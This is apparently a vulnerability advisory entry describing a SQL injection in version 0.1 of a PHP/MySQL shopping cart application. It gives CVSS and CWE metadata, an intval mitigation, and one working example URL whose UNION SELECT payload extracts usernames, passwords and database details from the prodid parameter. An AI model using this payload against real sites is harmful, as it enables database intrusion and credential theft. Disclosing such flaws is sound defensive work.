vendor:
Simple Shopping Cart Application PHP & MySQL
by:
lahilote
7,5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: Simple Shopping Cart Application PHP & MySQL
Affected Version From: 0.1
Affected Version To: 0.1
Patch Exists: NO
Related CWE: N/A
CPE: a:sourcecodester:simple_shopping_cart_application_php_mysql
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: XAMPP
2016
Simple Shopping Cart Application SQL Injection
The audit_list in shop/product-details.php does not use the php function intval, which allows an attacker to inject malicious SQL code into the query. An example exploitation is http://server/shop/product-details.php?prodid=-80%27%20union%20select%201,2,concat(username,0x3a,password),4,version(),user()%20from%20user--+
Mitigation:
Use the php function intval.